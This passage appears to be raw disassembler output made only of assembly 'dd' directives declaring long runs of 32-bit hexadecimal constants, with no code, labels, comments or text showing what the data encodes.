		dd 0C43036F7h, 39D82D68h, 251F223Dh, 0BCE8B60h,	57052E1Dh
		dd 4B6D8306h, 1677F853h, 1F91EC0Dh, 8A94ADD1h, 16E9833Bh
		dd 7CC80C87h, 57D82068h
		dd 7F632AFCh, 945EF7D5h, 76027CE8h, 5714D51Eh, 0F01F0D6h
		dd 5E47744Eh, 9707BAA0h, 60218D19h, 0E906C17Fh,	519F680Bh
		dd 2CFB2061h, 0EC6AD4Ch, 0A07FD229h, 7B5B74C3h,	0A7D84801h
		dd 96F40841h, 4FFA3E39h, 22B5C8ACh, 593FA108h, 4B315870h
		dd 1BE5362h, 68D52C4Ah,	2D72781Bh, 0A9E6789h, 14DA8AB3h
		dd 5618A4F5h, 641BDD53h, 2313B626h, 8183C222h, 344B1DD0h
		dd 7B4B05F6h, 304DE32h,	2C4FBF5Eh, 4E2CB199h, 8C201112h
		dd 6E40E67Bh, 41B89859h, 7BE2ED21h, 61B98D00h, 0A077CA36h
		dd 911B8DCh, 0CCE9602Dh, 0E607BEF2h, 30DA4D9Ah,	955DCEB6h
		dd 0A29C308Bh, 0DD0CE691h, 0BF24376h, 6D03214Fh, 828FD68Eh
		dd 3808B9EBh, 0C78084CFh, 42568221h, 5023AC4h, 8C12280Dh
		dd 0CD47C148h, 0F3D2BD28h, 8919598Ah, 0B92D24D4h, 0A41164A2h
		dd 0BE3C66DFh, 0A0F3989Eh, 37685E7Dh, 0AB3F5CD6h, 0F180DC40h
		dd 0CB7AE998h, 1F27F431h, 0D049BEA4h, 0E2D3BB39h, 0E8E3D2D6h
		dd 0B44C7550h, 5A54B0C1h, 0C5018172h, 34AB5331h, 42FE5C1h
		dd 0A911E89Ch, 66D4526h, 0BA007EC1h, 43C12B41h,	2C34E281h
		dd 34AAF947h, 0D568D30Ah, 4AC7A3C4h, 1A6AD65h, 32286010h
		dd 903EA25Ch, 1D791FF9h, 93C120A2h, 0EA1E0003h,	0E9186608h
		dd 0A15BAE37h, 5C571562h, 52126549h, 48EA8B92h,	151D1047h
		dd 689F3681h, 95DE7C4Ah, 0F1F61372h, 18CC4EE0h,	0AD0D1968h
		dd 3DC036FAh, 6896DC5h,	4FF8F6A0h, 2A21DD02h, 33CC8E5Fh
		dd 60C53F37h, 0EAC09ABDh, 0F2398006h, 5CC29D25h, 2E38EB9Dh
		dd 933C50D3h, 7A09505Ah, 0AC1CE0C9h, 4BFD3168h,	0C18E49h
		dd 979EA81h, 29615F60h,	0EE041678h, 5E0CEF08h, 68E13DC2h
		dd 0F090B3FFh, 3CE59666h, 808BB73Eh, 0E2A965F7h, 0E9C2FB81h
		dd 3B2428CDh, 4202B383h, 31322F18h, 5859C6C0h, 6E1F6812h
		dd 9210AEA3h, 0E0C10025h, 11FC2D04h, 121310Dh, 7FE2854h
		dd 80534555h, 6201DD2Ch, 5E5F607Ch, 0DA68357Bh,	82F72927h
		dd 0F8FCE942h, 0BA5200DCh, 7E71083h, 5A24D029h,	9E5A005Eh
		dd 83009F9Ch, 5A54D68h,	5661CBFh, 210B4A8Ah, 8F3FFCD8h
		dd 60409377h, 47757257h, 4D169F7h, 8DAD6400h, 0E910B88Ah
		dd 0BB000FC4h, 0BE80A283h, 5B0ED929h, 57C88950h, 64CA3F16h
		dd 5057E908h, 5E783110h, 0B2321772h, 6F2D7A55h,	43D62EF8h
		dd 0DA6B0D46h, 29494ABCh, 51D8285h, 1AF5E038h, 0CF680453h
		dd 0AC26933Dh, 12155898h, 2CC342Eh, 5FB5CF4Bh, 0C442E3C9h
		dd 0B1B4AB6Ch, 70EE5C2h, 908C6454h, 550C6892h, 0BCA421C6h
		dd 1234B6A7h, 0CE0F03FDh, 70363359h, 900D0631h,	77FA2404h
		dd 6CDA53A9h, 0B6526848h, 0CE80A80Ch, 902C06ACh, 1FE39A2Eh
		dd 8C03E1C0h, 70C99C9h,	0C0606CAh, 0B213C117h, 0ED0EA681h
		dd 0D66696ADh, 4E46F782h, 9BD03525h, 7CBDCAFFh,	89680496h
		dd 1F83987Bh, 7EBA00E7h, 266A0447h, 0C05AD721h,	8019A7A2h
		dd 0CF29F812h, 57B2D6A8h, 9409C558h, 5503916h, 70FEE83h
		dd 91B8205Fh, 146EDF34h, 0F858C601h, 64FE1B00h,	3A4C0597h
		dd 291F8E05h, 7022DF0h,	79C3315Eh, 624E4C57h, 2B584C06h
		dd 3C0B5E2Dh, 0D0CEC229h, 4061E9D7h, 5BBBA0B5h,	265D6F2Dh
		dd 12D36E46h, 7949A322h, 0B9FA1954h, 0C6031C76h, 0E1D1492Ch
		dd 9B0895C1h, 9A43A728h, 0FA6850C2h, 0FE3CEED0h, 0DFCB94C6h
		dd 0E3ADA5C6h, 58FA8A5Ah, 201222E0h, 5C002960h,	1038C405h
		dd 65846855h, 41202126h, 0B05066D4h, 3830E5F3h,	0A5583AB5h
		dd 5E811AD1h, 1505A537h, 3535D0A4h, 0B63EBF73h,	10694C6Ch
		dd 7777D3A2h, 0BD4C30EAh, 7ED8E1BBh, 563BE3Bh, 457C8CC9h
		dd 0A8D92AC7h, 0DF629881h, 0D2BF0070h, 751C142Ch, 78C0F781h
		dd 0D5E97F18h, 64E89CC7h, 0A440E085h, 1381BA49h, 0DB8C0168h
		dd 0BF38955Ah, 2630E953h, 0BBC69DCDh, 8233B78h,	0C2ADF601h
		dd 41290547h, 4216788h,	0F412CD1Eh, 183DF1D0h, 0D525F7EFh
		dd 0A7F64831h, 0BE6558E4h, 165B8F49h, 38B9C6E2h, 0F059B6C1h
		dd 725C4881h, 0FD9BE4F5h, 6EC2A1A9h, 2359DA00h,	4F01778Eh
		dd 4D2A08DAh, 0AD8A5C17h, 1321B802h, 39C075ACh,	0C5002D06h
		dd 355F363Ah, 3DCE8D7Fh, 0A450010Bh, 0EE1BB539h, 9C7413CAh
		dd 0BD70942Dh, 6B8422BAh, 5A540512h, 5C89F7A7h,	0DE0AF060h
		dd 13F85E82h, 0C0C924EEh, 0C136774Fh, 0E23C2C72h, 3AF7B603h
		dd 1838995Bh, 1E3A0E42h, 297DD109h, 0C6CD69D6h,	0E308A250h
		dd 19585C66h, 0EF06D430h, 0C078C3FEh, 0F6530519h, 0D1F75B30h
		dd 9630663Eh, 0EDF0E0C1h, 14529768h, 4A65C04Fh,	8B24F180h
		dd 5C8BCD28h, 24386674h, 88A478CBh, 52870562h, 0CE17FE88h
		dd 0E70AF745h, 0CA4B8C19h, 0F24EC299h, 0A20CD7A5h, 0E5EB1608h
		dd 25509B40h, 7C8915D1h, 102FFDCAh, 28009650h, 0B82D4B7Dh
		dd 0DF2CC72Ch, 1AAC656Ah, 8B120104h, 6771F809h,	4F29F24Bh
		dd 0F74A04E3h, 675D82D0h, 375C0549h, 0E90644F7h, 0A267A820h
		dd 9A8F7248h, 9C7798D5h, 7EE98B9Eh, 2D045670h, 2C3F4A5Ch
		dd 0CE401FD9h, 5E16B64h, 0C14A5A63h, 0CA2BC0EAh, 9D282FE0h
		dd 90D9443h, 0D9BC60D0h, 69C1CD2Ah, 7031030h, 835F5D34h
		dd 790018C9h, 227ABBB0h, 2558C589h, 2C4AEF01h, 55083FF6h
		dd 6504BBDh, 0E962AC91h, 0B0DC93E6h, 60577C8Ah,	18A6EA3Ch
		dd 5E0A30FFh, 2402BE56h, 35F2F112h, 928DB297h, 0B30F5A21h
		dd 4812223Dh, 5D9EC8B8h, 43C26835h, 1DE24412h, 5958304Ah
		dd 525A5E68h, 6A12588Dh, 41F289F1h, 4EAA8353h, 4B3698C5h
		dd 5D5E4038h, 493ADC07h, 20CA31E3h, 3B4C3CC8h, 0CBC04D6h
		dd 48C31C2Ah, 0EEF1F802h, 3D427A5Ah, 0C02D5049h, 198495E2h
		dd 6892E4F6h, 5095985Dh, 54B462F7h, 0ED2A54Fh, 1A315756h
		dd 732871E6h, 0D93154DEh, 37594E71h, 222DC224h,	68E18974h
		dd 306B06DFh, 1569E919h, 9FABC495h, 5C0D1A0Ch, 89666401h
		dd 0B78DE902h, 58A066A6h, 0FD13B353h, 1E02DBF6h, 0A24F1D68h
		dd 0E809B131h, 60DEE998h, 66AC44F9h, 756CA468h,	0B5B7505Eh
		dd 0B97D7D8h, 80CD428Ah, 0A663B918h, 0EE833E4Fh, 4E25EDD8h
		dd 4B903AD2h, 0A55BD17Ah, 845AE009h, 11C00687h,	0FB50E6BCh
		dd 0A9D8D3DBh, 0C8F2AAEh, 49C124D5h, 2A6D9EE9h,	67E85B25h
		dd 51C2EF5Ch, 1B7E36E9h, 1652BB01h, 0ED313ECAh,	1F0443Fh
		dd 0EAAD82DDh, 90AD70F3h, 0B3F3886Fh, 0CA680DD7h, 51B2F9C3h
		dd 30CF88BCh, 26B2C559h, 118BE25Fh, 0DA2A5753h,	41CB6C2h
		dd 93ED7E9h, 0D4AF1268h, 10C026EEh, 50571FCEh, 1E4519C2h
		dd 803DA951h, 920C8A2Bh, 0D06DF60Dh, 0CD04BC49h, 82339B46h
		dd 8E08F6B7h, 0EBEAD000h, 93FA2157h, 2A518C36h,	0AA03F353h
		dd 56D64F66h, 57E1E955h, 27C0B453h, 9D4C472Ah, 38F120h
		dd 7793C2Dh, 1C470906h,	0E950A1B6h, 27B65A4Bh, 379C8213h
		dd 5884E67Eh, 88A2C821h, 360BA4D7h, 61685540h, 3DE90B2Bh
		dd 5E242E03h, 5FDE9C2h,	5A38F92Dh, 286C1D9Dh, 0E9192093h
		dd 4182063Fh, 0CAE3FA9Fh, 1267EA32h, 4BDFC31Fh,	45D58BA1h
		dd 6222006h, 3960535Eh,	45D5455h, 7640B850h, 0D0628245h
		dd 0D856CEA4h, 5E7EF767h, 0A40AA94Eh, 52C4D554h, 0B469F6B4h
		dd 72E62F13h, 639635F6h, 0FC4A142Fh, 801F5D78h,	43100848h
		dd 485F2DC1h, 814CDFA3h, 28DAFD57h, 0ED614A53h,	5A025285h
		dd 0A79DAD63h, 3F0E5C0Bh
		dd 15B69353h, 139EB2D1h, 2778AB69h, 0F2CCF908h,	2D2D2930h
		dd 5039FBDh, 0DDF708DCh, 0BC91C468h, 1DAC973h, 8EE935E1h
		dd 2D008368h, 77B44EC9h, 0CDF89240h, 3C192160h,	0B00887C8h
		dd 0C830EB76h, 90017602h, 752F58D5h, 7207B880h,	0DA91585Fh
		dd 497C35C0h, 2EE92756h, 814E8E40h, 7494CE04h, 0C0833748h
		dd 0B1EBB3D2h, 0F2BD6E9h, 0CB834B0Fh, 16A36326h, 46C30E03h
		dd 0EAE02080h, 9BA957EDh, 0DF584022h, 6816CC66h, 97985B62h
		dd 25086AE9h, 1C24A50Eh, 0B036B0ECh, 0C31CB270h, 0DE005866h
		dd 2E6C05Bh, 9F62680h, 4B5A1E61h, 945107EBh, 8A6E2819h
		dd 3980C44Ch, 0EB939FCBh, 0C320481h, 0CD010220h, 0AAFC4259h
		dd 30CA89B5h, 21004CAh,	1DABE9C6h, 0C64A38B0h, 2D2A9B2h
		dd 1E30AC4Ah, 44EFEC80h, 6E60AA46h, 0BF1F5B18h,	0CF013406h
		dd 1C081A1Ch, 2095142Fh, 9D2CB57Ch, 6F03A40Ch, 68FD53CFh
		dd 4EBC840Ah, 6CCBBCA1h, 5C71C1C4h, 61E26F13h, 0DEC27EBEh
		dd 0C3C66B1Bh, 5B1F6495h, 31BC8DBDh, 64336B7Bh,	0ABE8E4E8h
		dd 0BAC7F384h, 9468F870h, 40FCBE22h, 2A5EBB53h,	0E9273EEEh
		dd 0C196C827h, 38486359h, 5AB1018Bh, 87C8895Bh,	0E02A8F55h
		dd 0F71B0E60h, 61E097D8h, 0CABCF6E9h, 4547351Dh, 0D0F765E7h
		dd 2CFDA4FDh, 0A0C666EEh, 3F675552h, 7C2D1834h,	0C15E3600h
		dd 511206EAh, 0BBD84568h, 6F610FA6h, 5332E939h,	85C7B58Eh
		dd 276C6807h, 5546D4Bh,	8129E5C8h, 689862EEh, 4C0AA1D3h
		dd 201040F7h, 3C1A48DBh, 28C2525h, 443C871Ah, 6CA2951Fh
		dd 142713CAh, 42A1D9EBh, 5809CE84h, 0BC342617h,	98557A91h
		dd 97DBE9FCh, 0F4BE6400h, 5E175C0Ch, 1D04E681h,	1DC206FBh
		dd 64E9F4F3h, 0F07C5B1Ch, 0B81B8B53h, 70310B65h, 2D0D569Bh
		dd 5708001Ch, 0E0096852h, 8265AC14h, 76C01A9h, 2972625Dh
		dd 41E56A0Bh, 9B8C2060h, 0C56B26ADh, 5F307A02h,	62F50149h
		dd 8208092Eh, 3339E21h,	7A01D2F7h, 20163815h, 7097D589h
		dd 0AAF0C4D6h, 7CE20717h, 7C5C5C89h, 25B27008h,	93129CAEh
		dd 1B0163E5h, 5A5EF589h, 8F626F29h, 0E91F784Ch,	97092626h
		dd 0CF7B27DEh, 19F15249h, 685AD683h, 0B7E8DC99h, 912B74D3h
		dd 6CCCE91Ch, 62815E46h, 47F848B2h, 0BB66BB9h, 0B5B4260Ch
		dd 73F76680h, 0EE1C92D7h, 4BBEF35Eh, 0FC2C8B92h, 1102F29Fh
		dd 1B013D66h, 0D654B1ECh, 3271CBEh, 0DA8EE54Fh,	0DA0BD86Bh
		dd 2C3C9C8h, 72449784h,	309D3052h, 0A8BD4DC6h, 0C1409D45h
		dd 1125DEAh, 0DF052454h, 0F84D677Fh, 0A9212DB0h, 894F0BB2h
		dd 304CB4D6h, 704A814Bh, 32078473h, 474F60BCh, 7705ACE2h
		dd 33B60114h, 0BF161D58h, 0CBF8F732h, 8CBB407h,	86A558E5h
		dd 0C44A12BCh, 0F608EBF1h, 5E661226h, 27BE5D57h, 0A144E02Bh
		dd 712BDE24h, 9D5318Fh,	1462C23Ah, 685028C1h, 0FACAB006h
		dd 9AA4BE9h, 2C025760h,	0C1010B46h, 68506E5h, 0A0ED8302h
		dd 453AB156h, 0E10BFF93h, 2F18107h, 0CBC968C9h,	5DE89967h
		dd 0D2A5316Bh, 0F9CD510Ch, 0EE0101B0h, 6130F30h, 5D527F2Ah
		dd 0B124DD33h, 4CB07BCCh, 0F7AE581h, 5260D206h,	0E31019E9h
		dd 6CC5C889h, 0D0C858C3h, 17F245B8h, 0B12DB471h, 5A13E8B9h
		dd 79D71A95h, 8BE905E3h, 1904BD5Dh, 0CAA7EB9Fh,	0B8240872h
		dd 545185F8h, 7FD0E659h, 27874E84h, 0F70FB2CCh,	0FABB2ED9h
		dd 8E7D68E6h, 0DC69EB97h, 6CE80AAAh, 0EF93BF8Dh, 5FC58F1Fh
		dd 2CC81DD4h, 3D0252C1h, 0E198E912h, 7C03273Ah,	89180A58h
		dd 342B06D3h, 33CEB071h, 77208BEDh, 4375F5B0h, 1E6D814h
		dd 4E8F448Bh, 985036Bh,	0C5877681h, 86E325EEh, 0ECE554FFh
		dd 0CF1EC3F6h, 12C96388h, 52FE2F6Fh, 0B39219F8h, 5824C64h
		dd 7B3D70F4h, 4126AF4Eh, 0CF89C8E3h, 4BA09170h,	5872F349h
		dd 0CD032D3Ch, 0C831846h, 1E4E32E9h, 0FFE26524h, 9F91F794h
		dd 2DAFA910h, 25844559h, 2268EE51h, 40D36643h, 0D485E708h
		dd 6A019849h, 21601E5Ah, 0C00B32C8h, 9219F725h,	1E056563h
		dd 7F25D7AAh, 0B1CE7A21h, 6D046B29h, 59016B93h,	0C4332535h
		dd 0C57D8939h, 6013425Ah, 0BBC5D7ADh, 854295E6h, 4C3C0B96h
		dd 8479339Ah, 0DAD4CC45h, 0E239FB53h, 5C243577h, 0F8A144BEh
		dd 89CA4F65h, 59B0B44Bh, 585C69C0h, 0E88BE56h, 0E9719E07h
		dd 2BE823E9h, 8082BD93h, 4260A709h, 90FAA46Ah, 3F3E5520h
		dd 5D7590E1h, 49518526h, 58C647ECh, 0B6687F6Eh,	8C5A1708h
		dd 8A34E9A1h, 5EAB40BBh, 6E054C38h, 4A09EA47h, 0DE139E40h
		dd 0A208A05Dh, 52697C97h, 0D9C2C16Ah, 524E66D8h, 5C0484F6h
		dd 0C66B1025h, 8894E2Bh, 44423B1Ah, 5542C3E9h, 4E753F98h
		dd 0FD5B980h, 41350511h, 0CE14069h, 87723E59h, 6607C05h
		dd 5080DDB1h, 28F38DF4h, 0E909D222h, 0B4F60003h, 5B02C53Ah
		dd 2991CE01h, 8C24ABC7h, 16CC6F08h, 4D07415Eh, 23230D68h
		dd 10D4892h, 19FBBECAh,	5E2858E9h, 150CD94Ah, 0B728606h
		dd 0B2685F0Ch, 0BCBB1761h, 0D60500EEh, 2912C2EBh, 33CC3AE7h
		dd 5D6D69E9h, 98B2A323h, 5763CD2h, 52425413h, 0E0562A86h
		dd 0BCC3ADB3h, 8A2D8152h, 82DF25F6h, 454B8C8Ch,	8084C27Dh
		dd 9E16C14Bh, 0E1B9022h, 474C085Bh, 13FAE6C0h, 18C01D96h
		dd 73C33874h, 0B279E29h, 0CBD34468h, 0E555D08h,	0E4E46404h
		dd 0EE28FB62h, 37B7415Bh, 0B54B7B1Ah, 5E8C6428h, 5375D80Eh
		dd 7A43BB00h, 0EB81275Ah, 5C3FE27Bh, 1228F1Eh, 0CD09F3F8h
		dd 0A9091AFEh, 0E9BA30DDh, 1DDE968Fh, 0EBB589ACh, 0EEFCD864h
		dd 4315F49h, 0F806855h,	632A3BB9h, 5F5D25B3h, 68803879h
		dd 2CB136BAh, 0E1ED31E9h, 0C1E6EFC7h, 0CFE242ECh, 143AB181h
		dd 5CE9E07Bh, 69284E96h, 90249025h, 134DB634h, 5DAB252h
		dd 0B6FE960Ah, 18580823h, 0ACCF8A04h, 9A5D5299h, 0FBB30DFh
		dd 0E9C816BEh, 5093405Ah, 0E728A2B4h, 20012F93h, 0BF685BFDh
		dd 52009836h, 0C680BDB6h, 0F0338877h, 0C9F7125Ah, 0EEF010CEh
		dd 7DE925BAh, 95B92300h, 114A0C28h, 7600AB8Bh, 962DD16h
		dd 0E027E9C1h, 95B7796Bh, 871FC6FCh, 9077D3EFh,	314B7235h
		dd 0E684294Ah, 0E23800EFh, 15DC7762h, 99F84A77h, 7A9A4312h
		dd 34094BACh, 0D85E28A9h, 3008C314h, 57690E5Ah,	14757F48h
		dd 8B850FBh, 0E912384Ch, 5F994B15h, 149271ECh, 4FC81C9Dh
		dd 0F8A54E3Ch, 82E948EAh, 7FA5685Ch, 0E8926B66h, 0A674E797h
		dd 54B542DDh, 0CE6520Bh, 2873385Dh, 8D00320Ch, 0FA2187C6h
		dd 9DE01FE9h, 513AD327h, 308949F6h, 319280E7h, 78D354A4h
		dd 4FC7CA03h, 63F5AFD0h, 0D2D84D0h, 0E4F86955h,	0C9ACB8A2h
		dd 0DDD68949h, 4ECF7839h, 55E8AB0h, 108902Ch, 8B510EBh
		dd 0FCA5E93Eh, 5B664E6h, 6AF16DC2h, 0E2CD41A1h,	0D2C48E79h
		dd 0AB644414h, 68B4B413h, 17B4E852h, 5EDD06F5h,	246A6620h
		dd 1041963h, 0B4204EEFh, 1CD94633h, 1C410883h, 0D4F92214h
		dd 0F0715F04h, 893AF7F1h, 7B16E19Ah, 0B7E61917h, 20EE8316h
		dd 0BD0AE944h, 0F6B44E9Dh, 120B6DCh, 6E6F65B8h,	3F9BE84Dh
		dd 1651EC95h, 61020B68h, 9D561F82h, 0B8C9EA11h,	0FE99C4C6h
		dd 12E49E88h, 26525Dh, 4B0A3532h, 0F606817Dh, 23376C3Eh
		dd 7879F4DCh, 4E0B90F8h, 624EF7B9h, 0D4555041h,	6614332Dh
		dd 294742A1h, 18297BD8h, 2B084F4Ch, 31AD064Fh, 0BF0F7ED8h
		dd 0C449234Eh, 0A394F00Eh
		dd 9850B782h, 5E6968DBh, 5F25DA17h, 315CB531h, 37E1892Bh
		dd 36C6110Dh, 59403C25h, 12B7512Ah, 20615A9Dh, 0BB00418Ch
		dd 42A82223h, 2689E381h, 5E9BA67h, 0A4CF52E9h, 641D8488h
		dd 0C981414Fh, 73CD1A68h, 16F2E9F0h, 12018EA0h,	0EF37C4D2h
		dd 13A3592Ch, 0B54B342Dh, 0B01D60D2h, 1C928B93h, 125CA298h
		dd 0ED5DE821h, 18B5166h, 501BF993h, 60BF572Eh, 432E6512h
		dd 0E6A708h, 4C032F2Dh,	0C1488919h, 0B595105Ah,	0E62C503Bh
		dd 41C34010h, 271F6860h, 0B24DC231h, 982F1AA9h,	56015263h
		dd 0D818D968h, 77F5E57h, 4178F6C8h, 2F898EC3h, 69EC0DC1h
		dd 4FE25D02h, 2F2F7CD2h, 895AB845h, 5BF890EEh, 87F2272Ch
		dd 0DB45890Ch, 0C2725A12h, 0E6D0EC2h, 71D8791Fh, 0D81FD34Ch
		dd 9658245h, 0DFE9214Fh, 0B1B6F760h, 3DC482A0h,	9DEE6DC3h
		dd 596E9979h, 4575EA70h, 0D7D12EBCh, 405D12Ah, 3F52C0Ah
		dd 0F102EF83h, 3C244071h, 0E82D416Fh, 18BF5743h, 810FA871h
		dd 0A50F3A3Bh, 205030FFh, 0E381ED5h, 0C1C7DA34h, 85AFEBD3h
		dd 7A906884h, 585C82BDh, 0F503A31Dh, 3EE86786h,	6F5ECDB0h
		dd 28359E3Eh, 0B5E8EEDh, 7F4CE380h, 0E461B0F4h,	89F9B432h
		dd 41C565F5h, 0B15DE125h, 1E51E03Dh, 0B762E88h,	0C1E8C00Fh
		dd 2A34C8FEh, 92D07D30h, 8220FB38h, 52039655h, 1C6896D7h
		dd 0ECD61612h, 693A0215h, 1541596Bh, 88B9006Ah,	402A2E11h
		dd 0F071206h, 780308BAh, 0A28F4169h, 0D2A5E3ADh, 7BE10758h
		dd 560ED32Ch, 0B8B85DCh, 0D40ED652h, 7E150403h,	3F4DDDC1h
		dd 31A824D0h, 0E9EB15E1h, 1B64E069h, 6F5E83F5h,	9309268Eh
		dd 78677E78h, 0A6681763h, 29E9837h, 70DD6CA1h, 0F482FC4Ch
		dd 0E4540901h, 0F22E58DAh, 0D09F04FDh, 5EEF1E49h, 10EB4F20h
		dd 29540E2Bh, 0E108B1A4h, 88A92428h, 5F0B52F6h,	29878B53h
		dd 0B2FC8404h, 0DA7C1DC3h, 6620D725h, 16685352h, 33A12817h
		dd 0EECF1BA0h, 0E91838D4h, 0BFFA004Fh, 10A4B38Eh, 0A78791h
		dd 0BC219E7Eh, 0FD292878h, 5F088184h, 534C347Bh, 51FCF0E6h
		dd 5E0DAA12h, 9149C0A0h, 9D93A07Fh, 0DD013122h,	0C118746Ch
		dd 4D7202EDh, 0DBF7078Eh, 3F4C0E05h, 82E82965h,	1B553E86h
		dd 0D63AC9C6h, 5BD84D89h, 59875129h, 4CB9730Ch,	79BC0C0Fh
		dd 0CE0124E5h, 81A0F84h, 0E914010Ch, 7635F8E7h,	0B2D63022h
		dd 0EBE984ECh, 0F6ECB0h, 6E5C0DDh, 288BC580h, 5059E807h
		dd 0E0CBA4B0h, 83FE6886h, 8D6ED5A7h, 0A021208Eh, 0C9B779C0h
		dd 702C1D04h, 0A7DBF5FCh, 10BCB9F3h, 0C31B853Bh, 0B45017BBh
		dd 6DC01EAh, 20111054h,	0BB80C326h, 0DF5013AFh,	4812E81Fh
		dd 29C403EEh, 0E1017DF4h, 0BA785D5Bh, 0B008E9C4h, 0CA1C81C2h
		dd 4747261Fh, 8529424Ah, 0B2B1C990h, 6F712D6Eh,	0AEA9FB53h
		dd 4316FFD0h, 4F66E22Bh, 0CB1FB962h, 7A2254Fh, 0A8C28DF0h
		dd 40B00B09h, 80A95AECh, 0B4A095B5h, 5E1FB450h,	3C97E530h
		dd 0CBB2EE84h, 58E6E2C0h, 51005779h, 97EF21B9h,	99A4E9ADh
		dd 0A5C117D7h, 0AAABECC4h, 202716D4h, 68619EA6h, 0E9C74C16h
		dd 0C468112Dh, 7AEC4DE2h, 6D5C6E02h, 54600102h,	25D42CD3h
		dd 7B99007Ah, 0CB817E9Dh, 705240Eh, 0E8F30154h,	302F4E64h
		dd 0E92A5B19h, 6BB49880h, 69DE7A69h, 0D7D8134Ch, 0C2968694h
		dd 7D5FF382h, 5709BE94h, 215964E9h, 9FB551E6h, 120ACB6Ah
		dd 8DA2F019h, 0FCA92289h, 529C6F78h, 8152D9D0h,	0A4862C5Eh
		dd 7E3917C2h, 865C3BE4h, 687151E0h, 14A63C5Ch, 132B01E9h
		dd 1C3704A7h, 377BE1E0h, 0C0205CAEh, 5A4A5005h,	0C9FC573h
		dd 314C172Bh, 301EAFAh,	46B3F281h, 3F107Ch, 8D6F1A64h
		dd 0D14201D9h, 63299519h, 0DCDE60C0h, 0D1213841h, 346A16E5h
		dd 0D78D7269h, 0D5681449h, 59CC2F3Fh, 4547134Ch, 0F8665620h
		dd 0FA898701h, 0A94FA175h, 0AA8B7F88h, 0A7E3D1E3h, 0AB8EDF18h
		dd 0D542BAB5h, 39082832h, 0B9A58B4Bh, 5319AA68h, 93489F3Dh
		dd 9147B3E8h, 94ED5EF3h, 0F0EE2D2Eh, 0D7C1EEF8h, 30C94043h
		dd 8FC3F880h, 0E942CC45h, 7CC25920h, 0F3E30343h, 0C14C2D16h
		dd 568C985Bh, 0D5904DE9h, 87241F79h, 2A27BD61h,	45B93600h
		dd 6E484C68h, 2F2E65AEh, 662F07E1h, 6D27AC5Ah, 8BF85949h
		dd 0A6B055ADh, 649DA70Fh, 0A4A2CDEDh, 0CBE07C64h, 272BC5CFh
		dd 5CC7BAD3h, 13AB5474h, 8B25A2B2h, 16175235h, 0F863DA68h
		dd 0DC55C99Bh, 7382C0C1h, 0E917785Eh, 76C9DE03h, 1186D968h
		dd 0F91E335Dh, 1DB25E51h, 4E165D5Fh, 7707DD5Bh,	0A27313B5h
		dd 0C5CF0366h, 4376C68Dh, 3A4727D9h, 0B77CA545h, 75D58DF8h
		dd 4EDC1912h, 61EADE0Ah, 4AAC9FCCh, 899B4494h, 74765FF9h
		dd 669241C4h, 5B8AC188h, 1234166Bh, 5A6FE77Dh, 6810A452h
		dd 28F50251h, 0F91E3C22h, 5A46249Ch, 646240E2h,	501F087Eh
		dd 8B97A5EAh, 1247FB95h, 2359205Ah, 607ABA08h, 0A7B4304Bh
		dd 9D5DEE89h, 4D000BA9h, 8CF0570h, 0FA92BB01h, 0ACE9F730h
		dd 0E924C42Ah, 0DC989395h, 5FF39277h, 0B9C7405Ch, 33012311h
		dd 86F9BF0Bh, 404FF8F6h, 0B1505164h, 71B2FB8Eh,	92D7293Fh
		dd 130D1C5h, 3E18E8C1h,	8AB2C831h, 3EE0586Bh, 96306EB9h
		dd 5022275h, 920C1726h,	5D5E8873h, 1285CEC0h, 60290152h
		dd 57C3E8EBh, 482E89BFh, 1809696Dh, 27D79658h, 0D8D93421h
		dd 0F4EF988h, 8FE5E688h, 7F28BB51h, 0E7A85A3Fh,	0F54B7B3Eh
		dd 2EBF7DC0h, 4E5E636Dh, 41120AC7h, 0BBA8D3EEh,	4B1FF871h
		dd 0E07CC9AEh, 668006C6h, 0DAB73C53h, 314BDEBFh, 5BA8FFh
		dd 912B7768h, 0B668A7AAh, 0B9CE61D0h, 0B61CE5E7h, 0C601AE31h
		dd 41F6A540h, 0F029E26Ah, 0AB42DE9h, 0B29DB0CEh, 15367420h
		dd 3758E382h, 0F480B205h, 678F1293h, 5AF582D1h,	0E907FCE0h
		dd 3821BA27h, 5ADB686Ah, 0E92CDC55h, 0AAC8C134h, 84928DA2h
		dd 0B0A4FCEEh, 9AA1EDE9h, 216F006Ch, 0F1817A36h, 1E6E2B41h
		dd 0A2AC378h, 0CB01E028h, 4FB835E9h, 0DBE3B0D5h, 40036217h
		dd 70C23214h, 93FD6DE1h, 0D86222E7h, 530B4CD7h,	909BA0E1h
		dd 6F3925CEh, 406EC781h, 38F07466h, 0C378752Eh,	918DB04h
		dd 41344681h, 3DE4B800h, 825372Ch, 5D050427h, 266429AAh
		dd 0C441950Dh, 0B91257C0h, 72C32F2Bh, 0BA90A07Ah, 77960276h
		dd 38E9D5F7h, 0ADBF49C8h, 17A4161h, 9A205FFBh, 0B7D2184Ch
		dd 6DD54286h, 3F0C242Ch, 71F8AD3Eh, 5B540AF5h, 3F684149h
		dd 3C8D6A5Fh, 1709F560h, 0BC0AE56Ah, 0E0E9E067h, 80FDBCD3h
		dd 421F5606h, 84AEC68h,	0BF101DA3h, 0D5800E7h, 273D4599h
		dd 962D3B40h, 0F8773F12h, 852C2D2Bh, 1CA457BAh,	5FEAAC5Fh
		dd 0D0245D3h, 4D60B428h, 8C9FB9BAh, 3C21B47Ch, 0E90C7951h
		dd 0ED9FA26Fh, 0A937E60Fh, 43A06B6Eh, 63829C11h, 0A2F6D202h
		dd 0D93961DEh, 5659903Eh, 0C0F8D68h, 0A55E3F1Ch, 29EAB383h
		dd 23022133h, 1B523BDFh, 0E243B408h, 0B95AC8B6h, 3B610927h
		dd 0D710172h, 2DD8656Fh, 0CA57120Ch, 0F2280748h, 0B0A1BF06h
		dd 0DF31290Bh, 8D2F7B90h, 0D29F1B02h, 925E656h,	5D1C6F09h
		dd 7EA01406h, 4FD82826h, 18DAB30Eh, 4A2C5B0Ch, 5551A09Dh
		dd 0E6C1FE27h, 0CE0C4169h, 8491891Ah, 7CF25EA9h, 533FCC90h
		dd 4A458690h, 0E05135F6h, 4168F850h, 7E1AA619h,	0EB0E9436h
		dd 0E4FF04h, 2240D9B8h,	6E609546h, 19D3047h, 0FD75D614h
		dd 60EE87E2h, 24B9607h
		dd 0C8D4E91Eh, 0EE5A66EDh, 0EA560F4h, 0C10FA7BFh, 0D24F6028h
		dd 8355B22Ch, 8E181444h, 0ABD3D4CBh, 93007F95h,	0E73772C6h
		dd 0F1295B54h, 0E8080521h, 795CB2D2h, 4FD32D76h, 1B9F710Bh
		dd 0DF6EC2CFh, 5B60A9A9h, 0C49F36F8h, 655C5F2Ch, 61A645A0h
